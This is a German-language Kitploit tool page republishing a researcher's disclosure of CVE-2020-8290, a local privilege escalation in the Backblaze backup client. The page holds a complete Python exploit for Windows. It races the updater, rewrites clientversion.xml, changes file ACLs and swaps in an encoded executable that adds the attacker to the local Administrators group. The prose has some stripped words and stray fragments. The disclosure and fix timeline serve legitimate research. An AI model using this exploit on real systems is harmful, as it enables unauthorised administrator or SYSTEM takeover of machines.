Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2020-8290 — CVE-2020-8290 – Elevation of Privilege in Backblaze | Kitploit
Tools/GitHubGitHub/geffner/cve-2020-8290
Privilege EscalationVulnerability AnalysisExploitationPenetration Testing
GitHubgeffner/cve-2020-8290

CVE-2020-8290

CVE-2020-8290 – Elevation of Privilege in Backblaze

Repository anzeigen
vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2020-8290 – Privilegieneskalation in Backblaze

Zusammenfassung

Name: Privilegieneskalation in Backblaze
CVE: CVE-2020-8290
Entdecker: Jason Geffner
Anbieter: Backblaze
Produkt: Backblaze für Windows und Backblaze für macOS
Risiko: Hoch
Entdeckungsdatum: 2020-03-13
Veröffentlichungsdatum: 2020-09-09
Behobene Version: 7.0.0.439

Einleitung

Laut Wikipedia ist Backblaze

„ein Online-Backup-Tool, das Windows- und macOS-Benutzern ermöglicht, ihre Daten in entfernte Rechenzentren zu sichern. Der Dienst ist für Unternehmen und Endbenutzer konzipiert, bietet unbegrenzten Speicherplatz und unterstützt unbegrenzte Dateigrößen.“

Verwundbare Versionen von Backblaze für Windows und Backblaze für macOS enthalten eine Sicherheitslücke mit hohem Risiko, die es einem lokalen unprivilegierten Angreifer ermöglicht, einen Privilegieneskalationsangriff (EOP) durchzuführen, um SYSTEM/root zu werden.

Sicherheitslücke

Der Dienstprozess des Backblaze-Clients, genannt bzserv, läuft unter Windows als SYSTEM und unter macOS als root. Alle paar Stunden führt bzserv ein Programm namens bztransmit aus (ausgeführt als SYSTEM/root), um eine XML-Datei namens clientversion.xml aus dem Rechenzentrum von Backblaze herunterzuladen und zu prüfen, ob eine neuere Version des Backblaze-Clients zum Download verfügbar ist. Wenn ja, wird das Installationsprogramm der neuesten Client-Version aus dem Rechenzentrum von Backblaze heruntergeladen. Das heruntergeladene Installationsprogramm wird unter Windows im Verzeichnis %ProgramData%\Backblaze\bzdata\bzupdates und unter macOS im Verzeichnis /Library/Backblaze.bzpkg/bzdata/bzupdates oder /Library/Backblaze/bzdata/bzupdates gespeichert. Nach dem Herunterladen führt bztransmit das heruntergeladene Installationsprogramm unter Windows mittels als oder unter macOS mittels als aus.

Unter Windows wird das Verzeichnis %ProgramData%\Backblaze\bzdata während der Installation so erstellt, dass lokale unprivilegierte Benutzer Lese- und Schreibzugriff haben. Der bztransmit-Prozess erstellt das Unterverzeichnis bzupdates, während er als SYSTEM läuft, und unprivilegierte Benutzer haben nach der Erstellung keinen Lese- oder Schreibzugriff auf dieses Unterverzeichnis. Allerdings überprüft der bztransmit-Prozess nicht sicher die ACL dieses bzupdates-Verzeichnisses, falls es bereits existierte, und aktualisiert auch nicht sicher die ACL, falls das Verzeichnis bereits existierte. Daher kann ein lokaler unprivilegierter Angreifer das Verzeichnis %ProgramData%\Backblaze\bzdata\bzupdates vor der Installation von Backblaze erstellen oder das bzupdates-Unterverzeichnis unter %ProgramData%\Backblaze\bzdata nach der Installation von Backblaze erstellen, bevor bztransmit das bzupdates-Unterverzeichnis erstellt. Dies ermöglicht dem Angreifer, der Besitzer des -Verzeichnisses zu sein und die volle Kontrolle über die Dateien in diesem Verzeichnis zu haben. Somit kann der Angreifer die heruntergeladene Update-Programmdatei nach dem Herunterladen und vor der Ausführung ändern oder ersetzen, was eine lokale Privilegieneskalation ermöglicht.

Unter macOS wird das Verzeichnis /Library/Backblaze.bzpkg/bzdata (oder /Library/Backblaze/bzdata) während der Installation mit den Berechtigungen 0777 (drwxrwxrwx) erstellt, sodass lokale unprivilegierte Benutzer Lese- und Schreibzugriff haben. Der bztransmit-Prozess erstellt das bzupdates-Unterverzeichnis mit den Berechtigungen 0755 (drwxr-xr-x), während er als root läuft, und unprivilegierte Benutzer haben nach der Erstellung keinen Lese- oder Schreibzugriff auf dieses Unterverzeichnis. Allerdings überprüft der bztransmit-Prozess nicht sicher die Berechtigungen dieses bzupdates-Verzeichnisses, falls es bereits existierte, und aktualisiert auch nicht sicher die Berechtigungen, falls das Verzeichnis bereits existierte. Daher kann ein lokaler unprivilegierter Angreifer das bzupdates-Unterverzeichnis unter /Library/Backblaze.bzpkg/bzdata (oder ) nach der Installation von Backblaze erstellen, bevor das -Unterverzeichnis erstellt. Dies ermöglicht dem Angreifer, der Besitzer des -Verzeichnisses zu sein und die volle Kontrolle über die Dateien in diesem Verzeichnis zu haben. Somit kann der Angreifer die heruntergeladene Update-Programmdatei nach dem Herunterladen und vor der Ausführung ändern oder ersetzen, was eine lokale Privilegieneskalation ermöglicht.

Proof of Concept

Video: https://youtu.be/OpC6neWd2aM

Das obige Video zeigt zwei gleichzeitige Anmeldungen an derselben VM: eine Administratorsitzung auf der linken Seite und eine unprivilegierte Angreifersitzung auf der rechten Seite. Im Video sind die folgenden Schritte zu sehen:

  1. Angreifer führt net localgroup Administrators aus, um zu zeigen, dass das unprivilegierte Angreiferkonto (namens Angreifer) kein Mitglied der Gruppe Administrators ist.
  2. Angreifer führt python eop.py aus (dessen Quellcode unten steht).
  3. Der Administrator installiert dann Backblaze.
  4. Sechs Minuten später lädt der installierte Backblaze-Dienst clientversion.xml herunter, das der Exploit überschreibt.
  5. Eine Minute später lädt der installierte Backblaze-Dienst die Update-Programmdatei herunter, die der Exploit überschreibt.
  6. Der Backblaze-Dienst führt dann die überschriebene Update-Programmdatei aus, die das Konto Angreifer zur Gruppe Administrators hinzufügt.
  7. Der Angreifer führt dann erneut net localgroup Administrators aus, um zu zeigen, dass das Konto Angreifer tatsächlich zur Gruppe Administrators hinzugefügt wurde. Lokale Privilegieneskalation abgeschlossen.
root@kitploit:~
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

"""Proof-of-concept exploit for CVE-2020-8290 for Windows."""


__author__ = "[email protected] (Jason Geffner)"
__version__ = "1.0"


import base64
import bz2
import ctypes
import os
import platform
import re
import subprocess
import time


def wait_for_filesystem_object(file_path):
    if os.path.exists(file_path):
        return
    parent_directory = os.path.dirname(file_path)
    if not os.path.exists(parent_directory):
        wait_for_filesystem_object(parent_directory)
    buffer = ctypes.create_string_buffer(1024)
    bytes_returned = ctypes.c_ulong()
    if "." in os.path.basename(file_path):
        notify_filter = 8
    else:
        notify_filter = 2
    h = ctypes.windll.kernel32.CreateFileW(parent_directory, 1, 3, None, 3,
                                           0x02000000, None)
    while not os.path.exists(file_path):
        ctypes.windll.kernel32.ReadDirectoryChangesW(
            h, ctypes.byref(buffer), 1024, False, notify_filter,
            ctypes.byref(bytes_returned), None, None)
    ctypes.windll.kernel32.CloseHandle(h)


def get_exe_content():
    #
    # Returns the content of an EXE that will add the attacker to the
    # Administrators group. Based on
    # https://github.com/corkami/pocs/blob/master/PE/tiny.asm
    #
    exe_content = bz2.decompress(base64.b85decode(
        "LRx4!F+o`-Q&~Gdx1Rt2IDf_b?h*hH0T=+r20)M=eGothKnwr?AOHZM0CF*qXfk9P8W?" +
        "~Xpp?}o=_Zd;AT%0gp!EiU7eYM!=ig9Ls6k|2Zp2X7u2P_M#mS9GBAA+UVO{FjHAvEri" +
        "p0bod_MlBT`kDlS6O$(^CD~4Z=KV8QJRn3`8m~{QUE*R2n)F)oG3^gpWDxX"))
    exe_content += ("NET LOCALGROUP Administrators " +
                    f"{os.environ['USERDOMAIN']}\\" +
                    f"{os.environ['USERNAME']} /ADD").encode()
    return exe_content


def am_i_admin():
    bufptr = ctypes.c_void_p()
    ctypes.windll.netapi32.NetUserGetInfo(
        os.environ["USERDOMAIN"], os.environ["USERNAME"], 1,
        ctypes.byref(bufptr))
    if platform.architecture()[0] == "32bit":
        usri1_priv = ctypes.string_at(bufptr, 13)[-1]
    else:
        usri1_priv = ctypes.string_at(bufptr, 21)[-1]
    ctypes.windll.netapi32.NetApiBufferFree(bufptr)
    return usri1_priv == 2


def poc():
    print(f"Running as user: {os.environ['USERNAME']}")

    # Ensure that we're running as an unprivileged user.
    print("Testing for administrative privileges...")
    if am_i_admin():
        print("You're already an administrator. Bye!")
        return
    print("You're a non-administrative user.")

    # Raise our process's priority to try to win our race condition.
    pid = ctypes.windll.kernel32.GetCurrentProcessId()
    h = ctypes.windll.kernel32.OpenProcess(0x200, False, pid)
    ctypes.windll.kernel32.SetPriorityClass(h, 0x100)
    ctypes.windll.kernel32.CloseHandle(h)

    # Create the bzupdates directory so that we are the owner of it.
    bzupdates = f"{os.environ['ProgramData']}\\Backblaze\\bzdata\\bzupdates"
    if os.path.exists(bzupdates):
        print("Backblaze's bzupdates directory was already created. You're " +
              "too late!")
        return
    os.makedirs(bzupdates)

    #
    # Get the installed hguid value so that we can force an update via
    # clientversion.xml.
    #
    if platform.architecture()[0] == "32bit":
        bzinstall = f"{os.environ['ProgramFiles']}\\Backblaze\\bzinstall.xml"
    else:
        bzinstall = f"{os.environ['ProgramFiles(x86)']}" +\
                    "\\Backblaze\\bzinstall.xml"
    if not os.path.exists(bzinstall):
        print("Waiting for Backblaze's installer to assign an hguid value.")
        wait_for_filesystem_object(bzinstall)
        print("Backblaze assigned an hguid value.")
    with open(bzinstall) as f:
        xml = f.read()
    hguid = re.search('hguid="([^"]+)"', xml).group(1)

    # Force update via clientversion.xml.
    if not os.path.exists(f"{bzupdates}\\clientversion.xml"):
        print("Waiting for Backblaze to download clientversion.xml.")
        wait_for_filesystem_object(f"{bzupdates}\\clientversion.xml")
        print("clientversion.xml now downloaded.")
    with open(f"{bzupdates}\\clientversion.xml", "r+") as f:
        xml = f.read()
        xml = re.sub('update_hguids_firstchar=".',
                     f'update_hguids_firstchar="{hguid[0]}', xml)
        xml = xml.replace('win32_version="', 'win32_version="1')
        f.truncate(0)
        f.seek(0)
        f.write(xml)
    print("clientversion.xml modified to force update next time Backblaze " +
          "considers updating.")

    # Don't allow SYSTEM to overwrite clientversion.xml.
    subprocess.run(["icacls.exe", f"{bzupdates}\\clientversion.xml",
                    "/setowner", f"{os.environ['USERNAME']}"])
    print()
    subprocess.run(f'echo y| cacls.exe "{bzupdates}\\clientversion.xml" ' +
                   '/S:D:PAI(A;;FA;;;OW)(A;;GRGX;;;SY)', shell=True)
    print()

    #
    # Create an executable to replace the downloaded update, which will elevate
    # our privileges.
    #
    exe_content = get_exe_content()
    with open(f"{bzupdates}\\eop.exe", "wb") as f:
        f.write(exe_content)

    #
    # Wait for update to download and overwrite it with attacker's executable.
    # In this PoC we use iexpress.exe (built into Windows) to create an EXE that
    # adds the attacker to the Administrators group, but an attacker could
    # supply any executable content they like.
    #
    exe = re.search('win32_url=.+?file=([^"]+)"', xml).group(1)
    print(f"Waiting for Backblaze to download {exe}.")
    wait_for_filesystem_object(f"{bzupdates}\\{exe}")
    os.replace(f"{bzupdates}\\eop.exe", f"{bzupdates}\\{exe}")
    print(f"{exe} downloaded and replaced.")
    print(f"{exe} should now get executed as SYSTEM.")

    for i in range(5):
        if am_i_admin():
            print("Success! You're now an administrator!")
            return
        time.sleep(1)
    print("Exploit failed. We probably lost the race-condition when " +
          f"overwriting {exe}.")


if __name__ == "__main__":
    poc()

Behebung

Backblaze hat diese Sicherheitslücke in Version 7.0.0.439 von Backblaze behoben.

Entdecker

Diese Sicherheitslücke wurde von Jason Geffner über HackerOne entdeckt und an Backblaze gemeldet.

Zeitleiste

2020-03-13 – Sicherheitslücke entdeckt und über HackerOne an Backblaze gemeldet
2020-03-26 – HackerOne bestätigt die Sicherheitslücke
2020-04-22 – CVE-2020-8152 zugewiesen
2020-04-22 – Build 7.0.0.439 veröffentlicht
2020-04-22 – Behebung der Sicherheitslücke bestätigt
2020-04-23 – Öffentliche Offenlegung beantragt
2020-09-09 – Öffentliche Offenlegung
2020-12-22 – CVE-Zuweisung auf CVE-2020-8290 geändert

Tool herunterladen
ShellExecute()
SYSTEM
system()
root
bzupdates
/Library/Backblaze/bzdata
bztransmit
bzupdates
bzupdates